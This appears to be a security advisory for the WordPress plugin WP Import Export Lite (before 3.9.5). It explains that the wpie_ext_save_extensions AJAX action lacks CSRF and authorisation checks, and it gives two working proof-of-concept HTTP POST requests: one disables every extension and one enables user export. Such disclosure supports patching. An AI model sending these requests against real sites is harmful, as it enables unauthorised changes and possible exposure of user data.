WP Import Export Lite < 3.9.5 – Subscriber+ Extensions Update

Description

The plugin does not have any CSRF and authorisation checks done in wpie_ext_save_extensions AJAX action. This could allow any authenticated user such as subscriber, or an unauthenticated attacker via a CSRF to set the extensions to be used by the plugin, as well as disable all of them

Proof of Concept

To disabled all extensions:

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Cookie: [any authenticated user]

action=wpie_ext_save_extensions&wpie_ext%5B%5D=


To enable the Export User extension:

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Cookie: [any authenticated user]

action=wpie_ext_save_extensions&wpie_ext%5B%5D=wpie_user_export